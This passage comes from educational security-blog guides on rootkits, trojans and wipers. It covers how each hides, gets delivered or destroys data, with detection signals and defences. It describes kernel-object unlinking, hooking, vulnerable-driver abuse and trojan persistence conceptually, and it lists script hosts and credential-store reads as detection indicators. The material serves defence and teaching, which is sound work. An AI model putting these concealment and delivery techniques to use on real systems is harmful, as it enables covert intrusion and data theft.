which is every tool on the machine, inherits the lie. A kernel rootkit that removes a process from the kernel's own process list is invisible to any tool that reads that list, no matter how privileged. Below the OS there are deeper variants. Bootkits infect the boot process so they load before the operating system, and firmware implants live in hardware. Those sit outside the scope here and are covered in [What Is a Bootkit](/what-is-a-bootkit). ## The hiding techniques The specific tricks vary by platform, but they cluster into a few families. **API and function hooking.** The rootkit redirects a call, for example the function that enumerates directory entries, to its own code. Its code calls the real function, then strips out any entry matching the payload before returning the list. The caller gets a filtered view and cannot tell. **Direct kernel object manipulation.** Instead of hooking a call, the rootkit edits the kernel's in-memory bookkeeping directly. Unlinking a process from the doubly linked list the scheduler walks for reporting can hide it from tools while the scheduler still runs it. This is a classic kernel technique because it leaves no hook to find. **System call table and handler patching.** The rootkit overwrites entries in the tables the kernel uses to dispatch system calls, or patches the handlers themselves, so requests are quietly rerouted. **Driver and execution-flow abuse.** Getting kernel code to run in the first place often means abusing a legitimate signed driver with a known flaw, a technique defenders call "bring your own vulnerable driver." It maps to Hijack Execution Flow and related driver-abuse techniques on ATT&CK. **Interrupt and inline hooking.** Some rootkits patch the first few bytes of a target function with a jump to their own code, a technique called inline or trampoline hooking. The original bytes are saved so the rootkit can call through to the real function after filtering. Others go after lower-level dispatch structures such as the interrupt descriptor table or a model-specific register that points at the system-call entry, redirecting the very gate the CPU uses to enter kernel mode. These deeper hooks are powerful because they intercept every request of a given type from a single choke point, but they also disturb structures that integrity checks like Kernel Patch Protection watch closely, which is one reason modern kernel rootkits have drifted toward direct object manipulation instead. **Filter and callback abuse.** Modern operating systems expose legitimate extension points: file-system minifilters, registry callbacks, and notification routines that drivers register to observe or alter activity. A rootkit that registers itself through these documented interfaces looks, at a glance, like an ordinary security or storage driver. It can drop or rewrite results for the objects it wants hidden while remaining a well-formed, loadable component. This blurs the line between a rootkit and an aggressive but sanctioned driver, which is part of why detection leans on behaviour and provenance rather than on the mere presence of a hook. If a kernel rootkit is active, the process list, file listing, and antivirus running on that machine are all asking a subverted kernel for the truth. Clean results from on-box tools are not evidence of a clean system. Trustworthy answers have to come from outside the running OS. ## How rootkits get installed A rootkit is a post-exploitation tool. Something else has to grant the access first, because installing kernel code requires high privilege. The usual chain: 1. **Initial access** through phishing, a malicious download, or an exploited service. 2. **Privilege escalation** to administrator or system level. 3. **Rootkit installation**, loading the driver or patching the libraries. 4. **Payload concealment**, hiding the backdoor or miner the operator actually cares about. This is why least privilege matters so much. If step two fails, a kernel rootkit never gets the foothold it needs. The delivery file at step one is usually one of a small set of abused formats, the same script, archive, and installer types tracked in our File-Format Abuse Atlas, which is the earliest place to break the chain. ## How to detect a rootkit Detection turns on one principle: compare what the operating system claims against ground truth gathered from somewhere it cannot tamper with. **Cross-view analysis.** Ask the same question two ways, a high-level API call and a low-level direct read, and compare. If the kernel's raw process structures list a process that the normal enumeration hides, the gap is the rootkit. Several specialist tools automate this. **Memory forensics.** Capture the machine's RAM and analyse it on a separate system. A rootkit can hide from live tools, but it still exists in memory. Frameworks that walk memory structures offline surface the hidden processes, unlinked objects, and suspicious hooks. **Offline and boot-time scanning.** Boot the machine from trusted external media, or mount its disk read-only on a clean system, and scan from there. The rootkit is not running, so it cannot filter anything. Modern platforms also offer early-launch anti-malware that starts before third-party drivers, narrowing the window a kernel rootkit has to hide. **Behavioural and network signals.** The rootkit can hide the connection locally, but traffic still leaves the machine. Monitoring at the network layer, on a separate device, can reveal beacons the host swears are not there. ## How to defend against rootkits Because installation needs privilege, most of the defense sits before the rootkit ever loads. 1. **Enforce least privilege.** Users and services that never run as administrator cannot easily install kernel code. This is the single highest-value control. 2. **Require signed drivers and enable Secure Boot.** Driver signature enforcement and a verified boot chain block unsigned kernel code and raise the cost of the vulnerable-driver trick. 3. **Block known vulnerable drivers.** Maintain and apply a driver blocklist so the common "bring your own vulnerable driver" candidates cannot be loaded. 4. **Patch and reduce attack surface.** The escalation step usually relies on an unpatched flaw. Timely patching removes the ladder to kernel access. 5. **Collect telemetry off the host.** Ship endpoint and network logs to a separate system in real time, so a later rootkit cannot rewrite the history of its own arrival. 6. **Keep known-good boot media ready.** Have trusted offline scanning media prepared before you need it, so verification does not depend on the suspect machine. For a confirmed kernel-mode rootkit, treat the operating system as untrustworthy. Wipe and reinstall from trusted media rather than attempting to remove the rootkit in place, and rotate every credential that was used on the machine. A partial clean can leave the concealment layer behind. ## A worked example: hiding one process To make the mechanism concrete, follow a single hidden process from the inside. Assume an operator has already gained administrator rights and loaded a kernel driver. Their payload is a small backdoor running as a process, and they want it gone from every view. The operating system tracks every running process with a structure in kernel memory. Those structures are threaded together in a doubly linked list: each entry holds a pointer forward to the next process and a pointer backward to the previous one. When a tool asks for a process listing, the kernel walks this list from one entry to the next and returns what it finds. The rootkit's move is to unlink the backdoor's entry from that list. It takes the backdoor's forward and backward pointers, then rewrites its neighbours so they point past it: the previous entry now points forward to the next entry, and the next entry points backward to the previous one. The backdoor's own structure still exists and still holds valid pointers, so nothing crashes. It has simply been spliced out of the chain that enumeration walks. Here is the important part. The scheduler does not use that same list to decide what to run. It uses a separate set of structures keyed on threads ready to execute. So the unlinked process keeps getting CPU time and keeps running the backdoor, while every tool that walks the process list steps right over the gap and never sees it. The process is running and invisible at the same time, from the same kernel, depending on which structure you ask. That single example captures the whole rootkit problem. There is no hook to find, no patched function, no altered code page. There is only a set of pointers that no longer agree with reality. Detection has to notice the disagreement, which means finding the process through the scheduler's structures or a raw scan of memory and comparing that against the list the OS is willing to show you. ## Detection signals Beyond the general principle of comparing the OS against outside ground truth, a defender has concrete signals to hunt for. None is proof on its own; together they build a case. - **Cross-view discrepancies.** A process, file, or registry key that appears in a low-level enumeration but is missing from the high-level one is the single strongest indicator. The gap itself is the tell. - **Unlinked or orphaned kernel objects.** Memory analysis that finds process or thread structures not present in the standard linked lists points directly at direct-object-manipulation hiding. - **Unexpected drivers and modules.** A loaded kernel module with no matching file on disk, an unusual signer, a name that mimics a system component, or a load time that clusters with the suspected intrusion window all warrant scrutiny. - **Hook artifacts.** System-call table entries, interrupt vectors, or function prologues that point outside the expected module image suggest a hooking rootkit. Comparing in-memory code against the clean on-disk image of the same module surfaces inline patches. - **Boot and integrity mismatches.** Failed measured-boot attestation, an unexpected change in the boot chain, or Secure Boot being silently off on a machine that should have it on can indicate something loading below the OS. - **Network without a local owner.** A connection or beacon visible from a network sensor or upstream device that no process on the host admits to owning is a classic sign the host is filtering its own connection table. - **Timing and resource anomalies.** Hidden work still consumes CPU, memory, and disk. Accounting that does not add up, where the machine is clearly busier than the visible processes explain, can betray a concealed payload. The reliable rule for rootkit detection is to observe from a layer the rootkit does not control. A user-mode rootkit is caught by a kernel-level view. A kernel rootkit is caught by memory forensics, an offline disk mount, a hypervisor, or a network sensor. A firmware implant needs attestation rooted in hardware. Each layer can be lied to by what runs beneath it, so trust flows downward, and detection follows the same direction. ## How rootkits fit among related techniques Rootkit is a specific behaviour, and it is easy to blur with neighbouring ideas. This table separates them. | Concept | Core behaviour | Relationship to a rootkit | |---|---|---| | Rootkit | Subverts the OS so a presence cannot be seen | The concealment layer itself | | Bootkit | Infects the boot process to load before the OS | A rootkit that persists below the OS; see the bootkit guide | | Backdoor | Provides ongoing unauthorized access | The payload a rootkit typically hides | | Fileless malware | Runs from memory to avoid leaving files | A hiding strategy; may be used with or instead of a rootkit | | Trojan | Disguises malicious code as something benign | A delivery method that may install a rootkit | | Living off the land | Abuses built-in trusted tools | Evasion by blending in rather than by lying to the OS | The distinction that matters is purpose. A backdoor grants access, a trojan gets code in the door, and a rootkit makes whatever is already inside invisible. They travel together in real intrusions, but they are different jobs, and conflating them leads to defenses aimed at the wrong stage. ## How rootkits evolved The arc of rootkit history is a running argument between concealment and inspection. Early Unix rootkits were user-mode: they replaced common system binaries, the tools an administrator ran to list files and processes, with tampered copies that omitted the intruder's files. The counter was simple integrity checking, comparing those binaries against known-good hashes, so attackers moved down a layer. Kernel-mode rootkits followed, hooking system-call tables and later manipulating kernel objects directly to escape the file-based checks. Defenders answered with kernel integrity protection that watches critical structures and with driver signing that raises the bar for getting code into the kernel at all. That pressure pushed the most capable techniques toward abusing legitimately signed but vulnerable drivers, the "bring your own vulnerable driver" pattern, because signing checks a driver's provenance, not its safety. The deepest branch went below the operating system entirely, into the boot chain and firmware, where an implant loads before any OS defense can watch it. Secure Boot, measured boot, and hardware-rooted attestation are the response there. The through-line across every stage is the same: each new hiding place forces a new observation point one layer lower, and the contest keeps descending toward the hardware. ## Common misconceptions **"My antivirus is clean, so there is no rootkit."** Antivirus running on the infected machine asks the same subverted OS everyone else does. A kernel rootkit can hide from it as easily as from any other on-box tool. A clean on-host scan is weak evidence. **"A rootkit is a type of virus."** A rootkit is defined by what it does, hide a presence, not by how it spreads. It usually does not replicate at all. It is a concealment technique attached to some other payload. **"Rootkits steal data."** The rootkit itself typically steals nothing. It hides the component that does. Treating the rootkit as the whole threat leads defenders to miss the backdoor or miner it was protecting. **"Reinstalling the OS always fixes it."** For user-mode and most kernel rootkits, a clean rebuild from trusted media does remove them. For a firmware implant or bootkit that lives below the OS, reinstalling the operating system leaves the implant untouched, which is why the deepest cases need firmware reflashing or hardware replacement. **"If it were there, the machine would be slow or unstable."** Well-written rootkits are careful to stay quiet. Instability is a sign of a buggy rootkit, not a reliable sign of the presence or absence of one. ## Frequently asked questions **What is the difference between a rootkit and a bootkit?** A bootkit is a rootkit that infects the boot process so it loads before the operating system starts. Both hide a presence; the bootkit simply does its hiding from a layer below the OS, which makes it harder to detect and to remove. The general term rootkit is often used to cover both. **Can a rootkit infect a machine without administrator rights?** A user-mode rootkit can operate with the privileges of the processes it infects, which may be standard-user. A kernel-mode rootkit needs high privilege to load, which is why privilege escalation is a prerequisite and least privilege is such an effective control. **Do rootkits work on Linux and macOS as well as Windows?** Yes. The concept is platform-independent because every operating system has structures a rootkit can tamper with and system calls it can intercept. The specific techniques differ, and each platform has its own signing, secure-boot, and integrity defenses, but the strategy of subverting the OS to hide is universal. **How is a rootkit different from fileless malware?** Fileless malware avoids leaving files on disk by running from memory. A rootkit actively lies about the system's state. They can be combined, and both aim at evasion, but one hides by leaving little to find while the other hides by tampering with what you can find. **Why can a rootkit be running and invisible at the same time?** Because different parts of the kernel use different structures. The scheduler runs a process using one set of data, while enumeration tools read another. A rootkit edits the enumeration structures and leaves the scheduling ones alone, so the process executes and disappears from listings simultaneously, as the worked example above shows. **What is the safest response to a confirmed kernel rootkit?** Treat the operating system as untrustworthy. Rebuild the machine from known-good media rather than attempting an in-place removal, and rotate every credential that was used on it. If a firmware or boot-level implant is suspected, escalate to firmware reflashing or hardware replacement, because an OS reinstall will not reach that layer. **Can Secure Boot alone stop rootkits?** Secure Boot raises the cost of loading unsigned code early in the boot chain, which blocks a class of bootkits and unsigned kernel rootkits. It is one layer. It does not stop a rootkit that arrives through a signed vulnerable driver or one that operates purely in user mode, so it belongs in a stack with driver blocklists, least privilege, and off-host telemetry. Rootkits are the quiet backbone of long-term intrusions. They do not make noise; they remove it. Once you accept that a compromised system cannot honestly describe itself, the defensive logic follows: keep privilege scarce so the rootkit cannot install, verify the boot chain so it cannot hide below the OS, and check for it from the outside, where its lies do not reach. ## Related guides - [What Is a Bootkit](/what-is-a-bootkit) - [What Is Fileless Malware](/what-is-fileless-malware) - [Malware Persistence Techniques](/malware-persistence-techniques) - [Intro to Malware Analysis](/intro-to-malware-analysis) - [Living Off the Land Explained](/living-off-the-land-explained) ### Sources - MITRE ATT&CK: Rootkit (T1014) (MITRE): https://attack.mitre.org/techniques/T1014/ - MITRE ATT&CK: Defense Evasion (TA0005) (MITRE): https://attack.mitre.org/tactics/TA0005/ - NIST SP 800-83: Guide to Malware Incident Prevention and Handling (NIST): https://csrc.nist.gov/pubs/sp/800/83/r1/final --- ## What Is a Trojan Horse? Malware in Disguise Explained > A trojan is malware disguised as something you want to run. How trojans use social engineering to get executed, the payloads they carry, and how to defend. - URL: https://blog.pwnsy.com/what-is-a-trojan-horse - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: beginner - Category: malware - Tags: trojan, malware, social-engineering, phishing, malware-delivery - Related: [Malvertising Explained: Forced Redirects, Fake Download Ads and How They Get Through](https://blog.pwnsy.com/malvertising-explained), [AitM Phishing Explained: How Reverse-Proxy Kits Bypass MFA](https://blog.pwnsy.com/aitm-phishing-explained), [ClickFix Attacks Explained: The Fake CAPTCHA That Runs Malware](https://blog.pwnsy.com/clickfix-attacks-explained) ### TL;DR - A trojan horse is malware that disguises itself as something you want, so that you run it yourself instead of the attacker needing to break in. - Trojan describes a delivery method, not a payload. What the trojan carries can be a stealer, a remote access trojan, ransomware, or a backdoor. - Trojans work through social engineering, not exploits: the whole attack is convincing a person that a malicious file is safe and useful. - Defense is layered around the human decision: reduce exposure to lures, control what can run, and detect the payload after execution if a lure gets through. ### Key Takeaways - A trojan cannot spread on its own like a worm; it depends on a person choosing to run it, which is why it is a social attack first and a technical one second. - The disguise is the entire trick: a familiar name, a trusted icon, a wanted feature, wrapped around a payload that runs the moment you open it. - Because trojan is a delivery concept, the same wrapper can carry any payload, so defending the delivery protects against a wide range of malware at once. - Trojan delivery maps to MITRE ATT&CK User Execution (T1204), where the technique explicitly relies on a user running the malicious file. - The strongest controls sit before and after the human decision: block the lure, restrict what can execute, and catch the payload behaviourally if it runs. The name comes from the oldest trick in the book. The Greeks could not break through the walls of Troy, so they built a wooden horse, hid soldiers inside, and let the defenders wheel it in themselves. The malware version works exactly the same way. The attacker cannot easily break into your machine, so they wrap their code in something you actually want, a game, an installer, an invoice, a cracked app, and let you carry it through the door yourself. That is the essence of a trojan. It does not force its way in. It gets invited. And because the whole attack turns on a person choosing to run a file, a trojan is a social problem wearing a technical costume. ## Trojan is a delivery method, not a payload The most useful thing to understand about trojans is that the word describes how malware arrives, not what it does once it runs. This trips people up, because families get labelled "a trojan" as if that were their function. It is not. The trojan is the disguise; the payload is the point. The same trojan wrapper can carry almost anything: - An **infostealer** that grabs passwords and session cookies and leaves. See [What Is an Infostealer](/what-is-an-infostealer). - A **remote access trojan** that hands an operator hands-on control. See [What Is a RAT](/what-is-a-rat). - **Ransomware** that encrypts everything and demands payment. - A **backdoor** that quietly preserves re-entry for later. - A **downloader** whose only job is to fetch and run the real payload. This is why defending the delivery is so efficient. Stop the trojan from executing and you stop whatever it was carrying, whichever family that happens to be this week. ## Why it works: social engineering, not exploits A trojan usually needs no software vulnerability. There is nothing to patch that would have prevented it, because the mechanism is a human decision. The attacker's craft goes entirely into making a malicious file look safe and desirable enough that you double-click it. The disguise leans on a handful of reliable levers: - **Familiarity.** A filename, icon, or brand you recognise and trust. - **Desire.** Something you want and might not get legitimately: paid software for free, a game cheat, a leaked document. - **Urgency and authority.** An invoice that is overdue, a message that looks like it is from IT or a delivery company. - **Plausibility.** A file that matches what you were expecting to receive. Because the target is a person, this behaviour maps to [User Execution (T1204)](https://attack.mitre.org/techniques/T1204/) on MITRE ATT&CK, a technique defined by the victim running the file, and it usually rides in on [Phishing (T1566)](https://attack.mitre.org/techniques/T1566/). For the wider picture of how these lures are built, see [What Is Phishing](/what-is-phishing). Unlike a worm, a trojan has no self-propagation. It sits there, harmless, until a person runs it. That is a weakness you can exploit: every trojan infection required a human action, which means every one of them had a moment where awareness, a warning, or a control could have stopped it. The human step is the trojan's dependency, and your opportunity. ## The disguises trojans wear Trojans reach people through predictable channels, each with its own flavour of disguise: | Channel | Typical disguise | |---|---| | Phishing email | Invoice, receipt, shipping notice, or resume attachment | | Cracked and pirated software | A paid application or game, free | | Fake updates and installers | A browser, codec, or plugin update prompt | | Malvertising and poisoned search | A top result for a popular download | | Messaging and social media | A shared file, cheat, or tool from a "friend" | | Paste-a-command lures | A fake CAPTCHA or fix that asks you to run a command | Underneath these channels, the actual malicious file is almost always one of a small set of abused formats: a script, an archive, a disk image, a document with active content, or a rogue installer. The disguise is on the outside; the format is what does the work. Our File-Format Abuse Atlas catalogues those formats and how to recognise them, which is the practical choke point where a trojan is stopped before it runs. ## The trojan lifecycle A trojan attack follows a consistent shape: 1. **Lure.** The attacker crafts the disguise and delivers it through one of the channels above. 2. **Execution.** The victim runs the file, believing it is safe. This is the decisive moment. 3. **Payload.** The hidden code executes: it steals, encrypts, opens a backdoor, or fetches the next stage. 4. **Persistence, optional.** Depending on the payload, the trojan may set up to survive a reboot, or it may do its work and leave. Everything before step two is the attacker working on a person. Everything after is the payload doing its job. Both halves are where defense lives. ## How to defend against trojans Because the attack pivots on a human decision, controls stack on both sides of it: reduce the chance a lure reaches a person, and limit the damage if one gets executed. 1. **Filter the delivery.** Strong email and web filtering, attachment scanning, and blocking risky file types cut how many lures ever reach a person. Fewer lures means fewer decisions to get wrong. 2. **Restrict what can run.** Application control and allow-listing stop unapproved executables, scripts, and installers from running at all, which neutralises a trojan even after someone opens it. 3. **Enforce least privilege.** A trojan that runs as a standard user can do far less than one that runs as administrator. Deny everyday accounts admin rights. 4. **Keep the payload from succeeding.** Behavioural endpoint detection catches what the trojan does after execution, the shell, the encryption, the beacon, even when the file itself was unknown. 5. **Train for the specific lures.** Teach people the current patterns: cracked software, fake updates, and paste-a-command prompts. Awareness is the control that operates at the exact moment of decision. 6. **Make the safe path easy.** Provide a trusted software source and a fast way to report suspicious files, so people do not go looking for risky downloads or stay silent when something feels off. A fast-growing trojan lure shows a fake error or CAPTCHA and instructs you to copy a command and run it to "verify" or "fix" the problem. Running it installs the malware directly. No legitimate website resolves an error by having you paste a command into your terminal or Run box. Treat any such instruction as an attack, full stop. Trojans endure because they attack the one part of the system you cannot patch: a person's judgment at the moment of a double-click. The upside is that the same human step is a dependency you can plan around. Cut down the lures that reach people, control what is allowed to run, keep privileges low, and catch the payload behaviourally if a lure slips through. Defend the delivery, and you defend against every payload a trojan might have carried. ## A worked example: the fake meeting installer It helps to walk one lure end to end, because the individual steps are ordinary and that ordinariness is the point. Nothing here requires an exploit. Every stage is a design choice aimed at a person's expectations. An employee receives a calendar invite for a client call. The invite looks routine, with a real-sounding company name and a link to join a video meeting. Clicking the link opens a page that says the meeting needs a small plugin to start, and offers a download named something like `meeting-setup.exe` or `ClientCall-Installer.msi`. The page is styled to resemble a familiar conferencing brand, and the file carries an icon copied from that brand. So far the victim has done nothing unusual. People install conferencing helpers all the time. The victim runs the installer. Two things now happen at once. A real-looking progress bar appears, and behind it the payload writes itself to a user-writable directory, sets a registry run key or a scheduled task for persistence, and reaches out to a command-and-control host. The progress bar is not decoration. It is there so the victim waits calmly instead of noticing that no meeting ever opens. By the time the victim realises the call is not starting and closes the window, the payload is resident. Notice what the attacker never needed. No memory corruption, no privilege escalation exploit, no unpatched service. The trojan borrowed the victim's own permission to run software. If the victim was a local administrator, the payload inherited that power. If the victim ran as a standard user, the payload is still resident but boxed into what that account can touch, which is exactly why least privilege changes the outcome of this same story. The lesson from the walkthrough is that the decisive control is the one nearest the double-click. Everything downstream, the persistence, the beacon, the theft, is the payload doing its job. The one moment where a warning, an application-control block, or a trained instinct could have stopped the whole chain was the instant before execution. ## How to detect a trojan Because a trojan carries no single signature, detection leans on the behaviour a payload shows after it runs and on the oddities of the file before it does. The concrete signals fall into a few groups. Signals in the file and its delivery: - An executable, script, disk image, or installer arriving as an email attachment or a direct download when the sender or context did not warrant it. - A double extension or a mismatched icon, for example a file named `invoice.pdf.exe` or a document icon on an executable. - An installer or "update" served from a search ad, a messaging app, or a lookalike domain rather than the vendor's real download page. - A signed binary whose signature is absent, invalid, or from an unexpected signer, which matters because attackers abuse code signing to look legitimate. Signals at execution and after: - A newly written file in a user-writable location such as the user profile, temporary directories, or a public folder, followed immediately by that file launching. - A common application spawning a command interpreter or a scripting host, for example a document viewer or browser starting `powershell`, `cmd`, `wscript`, or `mshta`. - A new persistence entry appearing at the same time: a registry run key, a scheduled task, a service, or a startup-folder shortcut. - Outbound network connections to a host or domain the machine has never contacted, especially on a beacon-like interval. - A process reading credential stores or browser databases shortly after launch, which points to a stealer payload. A trojan file can be anything, so signature matching on the wrapper is weak. The durable detections watch what happens once the file runs: a benign-looking application launching a shell, an unsigned binary writing a run key, a first-ever connection to an unknown host. Map these to the payload behaviours rather than to the lure, and one detection covers many disguises. ## Trojan compared with virus, worm, and dropper The malware vocabulary mixes delivery methods, propagation methods, and payloads, which is why the terms feel slippery. Placing them side by side shows where a trojan sits and why the label describes arrival rather than function. | Term | What the word describes | How it moves | Needs a human to run it | |---|---|---|---| | Trojan | A delivery disguise around a payload | Does not self-propagate | Yes, that is the definition | | Virus | Code that inserts copies into other files | Spreads by infecting host files that are then shared or run | Usually, when an infected host runs | | Worm | Self-replicating code | Spreads across a network on its own, often via a vulnerability | No, it propagates without a user | | Dropper | A stub whose job is to install a payload | Carried in, then writes the real malware | Often, if the dropper is itself a trojan | | Backdoor | A payload that preserves re-entry | Placed by another stage | No, it is a result, not a delivery | The table makes the relationships concrete. A worm spreads by itself and a trojan cannot, so the two are opposites on propagation. A dropper is frequently delivered as a trojan and then installs the payload, so the categories overlap in a single attack. A backdoor is a payload a trojan might carry, not a rival delivery method. Holding these apart keeps you from defending the wrong property, for example expecting network segmentation to stop a trojan the way it slows a worm. ## Common misconceptions A few beliefs about trojans are widespread and each one leads to a real gap. "A trojan is a type of virus." It is not. A virus is defined by self-replication into other files; a trojan does not replicate at all. Conflating them leads people to expect antivirus signatures to catch every trojan, when the payload is often novel and the wrapper is disposable. "My antivirus will catch it." Signature-based scanning catches known files. Attackers regenerate the wrapper constantly, so the exact file you receive may never have been seen before. Behavioural detection and application control matter precisely because the file-level signature so often misses. "I only download from search results, so I am safe." Search ads and poisoned results are a primary trojan channel. A top result for a popular free download is one of the most reliable ways attackers reach careful users, because the victim believes they navigated there themselves. "A standard user account cannot get infected." A trojan running as a standard user is limited, which is valuable, but it can still steal that user's data, read browser sessions, and beacon out. Least privilege reduces the blast radius; it does not make execution harmless. "Macros and scripts are not real programs, so they are lower risk." Active content in documents, along with script hosts, is one of the most common trojan formats precisely because people underestimate it. A script can do everything a compiled executable can within the user's rights. ## How the technique evolved The disguise is ancient, but the packaging keeps shifting with whatever people currently trust. Early trojans hid in shared programs and pirated software passed hand to hand. As email became universal, the attachment became the vehicle, and the classic double-extension file rode in on messages that impersonated invoices and shipping notices. When office documents gained scripting, macro-bearing documents took over for a long stretch, until default blocking of macros from the internet pushed attackers toward other formats. The current wave reflects two shifts. First, attackers moved to formats that slip past attachment filters, including disk images, archive files, and shortcut files that launch scripts. Second, and more striking, is the rise of the paste-a-command lure, where the victim is convinced to copy a command from a webpage and run it themselves, removing the need to deliver a file at all. The through line across every era is constant. The technology of the disguise changes, and the human decision it targets does not. Whatever people are conditioned to trust this year becomes next year's wrapper. ## What the payload does once it lands Since the trojan is only the wrapper, the consequences depend entirely on what it carried, and it helps to know the common outcomes so response can be scoped correctly. Each payload family leaves a different footprint and calls for a different first move. A stealer runs fast and leaves. It reads browser-stored passwords, session cookies, saved cards, and cryptocurrency wallet files, packages them, sends them out, and often deletes itself. The window to catch it is short, and the correct response assumes the stolen credentials and sessions are already compromised, so the priority is rotating passwords and invalidating sessions rather than only cleaning the machine. A remote access trojan settles in and waits. It opens a channel for an operator to browse files, run commands, capture the screen, and log keystrokes on demand. Because a human is on the other end, the activity is irregular and blends with normal use, so detection leans on the persistence it installs and the command channel it keeps open. Ransomware and wipers announce themselves. Encryption or destruction is loud by design, and by the time it is visible the damage is largely done, which is why the defensive weight sits earlier, on stopping execution and on tested backups. A downloader is the quiet one. Its only job is to fetch and run the real payload, which means an infection that looks minor can pull in anything next. Finding a downloader is a signal to hunt for the second stage rather than to relax. Mapping the observed behaviour back to the payload family tells you how urgent the response is and where to point it. The trojan got the code in; the family determines what the incident actually is. ## Frequently asked questions **Is a trojan a virus?** No. A virus self-replicates by inserting copies of itself into other files. A trojan does not replicate; it relies on a person choosing to run it. They are different categories, one a propagation method and the other a delivery disguise, even though everyday speech often blurs them. **Can a trojan spread to other computers by itself?** Not on its own. A pure trojan has no self-propagation. It can, however, carry a payload that then spreads, or an operator who gains access through a trojan can move laterally using other techniques. The trojan itself waits for a human to run it each time. **Does antivirus stop trojans?** Partly. Signature-based antivirus catches known trojan files, but attackers regenerate wrappers to stay ahead of signatures. Behavioural detection, application control, and least privilege carry more weight because they act on what the payload does rather than on the specific file. **What is the difference between a trojan and a RAT?** A trojan is how malware arrives, disguised as something wanted. A remote access trojan (RAT) is a payload that a trojan might deliver, giving an operator hands-on control of the machine. A RAT is one of the things a trojan can carry, not a competing category. **Are Mac and Linux safe from trojans?** No. A trojan is a social technique, not a Windows-specific exploit, so it works on any platform where a person can be convinced to run a file. The wrappers differ by platform, but the core trick, a wanted-looking program that hides a payload, applies everywhere. **Why do I need application control if I have antivirus?** Antivirus asks whether a file is known-bad. Application control asks whether a file is on your approved list, which blocks unknown executables and scripts regardless of whether anyone has ever flagged them. Against a freshly generated trojan wrapper, the allow-list decision holds where a signature lookup misses. **What is the single most effective control?** There is no single control, but restricting what can execute comes closest, because it neutralises the payload even after a person is tricked into running the file. Pair it with least privilege so that anything which does run is boxed into a limited account, and with behavioural detection to catch the payload if it executes. ## Related guides - [What Is a RAT](/what-is-a-rat) - [What Is an Infostealer](/what-is-an-infostealer) - [Attacker File Formats Explained](/attacker-file-formats-explained) - [What Is Phishing](/what-is-phishing) - [Social Engineering Playbook](/social-engineering-playbook) ### Sources - MITRE ATT&CK: User Execution (T1204) (MITRE): https://attack.mitre.org/techniques/T1204/ - MITRE ATT&CK: Phishing (T1566) (MITRE): https://attack.mitre.org/techniques/T1566/ - CISA: Avoiding Social Engineering and Phishing Attacks (CISA): https://www.cisa.gov/news-events/news/avoiding-social-engineering-and-phishing-attacks --- ## What Is a Wiper? Destructive Malware Disguised as Ransomware > Wipers destroy data with no way to restore it, often disguised as ransomware. How they differ, attacker motives, and how backups make you resilient. - URL: https://blog.pwnsy.com/what-is-a-wiper - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: intermediate - Category: malware - Tags: wiper, malware, destructive-attack, data-destruction, resilience - Related: [Malvertising Explained: Forced Redirects, Fake Download Ads and How They Get Through](https://blog.pwnsy.com/malvertising-explained), [The 3-2-1 Backup Strategy: Ransomware-Resistant Backups](https://blog.pwnsy.com/3-2-1-backup-strategy-guide), [HTML Smuggling Explained: Delivering Payloads Past the Gateway](https://blog.pwnsy.com/html-smuggling) ### TL;DR - A wiper is malware designed to destroy data or render systems unbootable, with no mechanism to recover them, even though it may be dressed up to look like ransomware. - The key difference is intent: ransomware wants to be paid and so keeps a way to restore files, while a wiper wants only the destruction and often fakes a ransom note as cover. - Wipers destroy in several ways: overwriting files, corrupting the master boot record and partition tables, or encrypting with a key that is thrown away or never existed. - Because prevention alone cannot guarantee a wiper never runs, resilience is the real defense: tested, isolated, offline backups and a rehearsed recovery plan. ### Key Takeaways - Fake ransom notes are a common wiper tactic, buying the attacker time and misdirecting the response while the data is already gone. - Motives are usually sabotage, geopolitics, or covering tracks after another intrusion, rather than direct financial gain. - Data destruction on MITRE ATT&CK maps to techniques like Data Destruction (T1485) and Disk Wipe (T1561), which target files, boot records, and raw disk structures. - A backup that is online and reachable from the compromised network can be wiped too; isolation and immutability are what make a backup survive. - Recovery speed depends on rehearsal: an untested backup is a hope, not a plan, and wiper incidents are where that difference becomes expensive. Ransomware and wipers can look identical in the first minutes of an incident. Both leave scrambled files and an ominous note demanding payment. The difference only becomes clear later, when the victim pays or tries to recover and discovers there was never any way to get the data back. The note was theater. The destruction was the whole point. A wiper is malware whose purpose is to destroy. It corrupts files, overwrites disks, or wrecks the structures a computer needs to boot, and it does so with no built-in path to recovery. When a wiper wears a ransom note, the note is misdirection, designed to slow the response and hide the attacker's real goal. ## Ransomware wants to be paid; a wiper does not The distinction is about intent, and intent shows up in the code. Ransomware is a business. To collect payment, the operator has to keep a credible promise that paying restores the files, which means holding a decryption key and running working decryption. That recoverability is a feature the criminal needs. A wiper has no such constraint. It does not need to keep a key, because it never intends to give anything back. So a wiper can: - Overwrite files with random or fixed data, destroying content in place. - Encrypt files with a key that is discarded immediately or generated so that no key ever leaves the machine. - Corrupt the master boot record and partition tables so the system cannot start at all. - Delete or overwrite the raw sectors of a disk, wiping structure as well as content. On MITRE ATT&CK these behaviors map to [Data Destruction (T1485)](https://attack.mitre.org/techniques/T1485/) and [Disk Wipe (T1561)](https://attack.mitre.org/techniques/T1561/). A wiper that fakes encryption is sometimes called a pseudo-ransomware, because the encryption is real but the recovery is a lie. Treating every ransom note as a recoverable ransomware event can waste the critical early hours. In a wiper incident, those hours are better spent isolating systems and starting recovery from backups than negotiating with an attacker who has no key to sell. Confirm recoverability before you build your response around paying. ## Why attackers destroy instead of extort If there is no payday, why run a wiper at all? The motives are different from ordinary crime. **Sabotage and disruption.** The goal is to take an organization offline, destroy operational capacity, or send a message. The damage itself is the objective. **Geopolitical conflict.** Destructive malware has repeatedly appeared around state tensions, aimed at government, infrastructure, and industry to degrade an adversary's ability to function. Here the wiper is a weapon, not a scam. **Covering tracks.** An attacker who has already achieved their goal, espionage, theft, or something else, may wipe systems on the way out to destroy forensic evidence and delay attribution. **Hacktivism.** Ideologically motivated actors sometimes wipe to punish a target rather than profit from it. Because the payoff is destruction rather than money, the usual deterrents and negotiation paths do not apply. That changes how you have to defend. ## How wipers destroy, ranked by damage | Technique | What it targets | Recovery difficulty without backups | |---|---|---| | File overwrite | Individual files and documents | High; overwritten data is generally unrecoverable | | Fake encryption | Files, with a key that is gone or never stored | Very high; no valid key exists | | Master boot record corruption | The code and tables needed to boot | Moderate for structure, but data may follow | | Raw disk or sector wipe | The entire disk layout and contents | Very high; both structure and data destroyed | The pattern across the table is the same. The more of the disk's structure a wiper destroys, the less any on-disk recovery tool can help, and the more everything depends on a copy 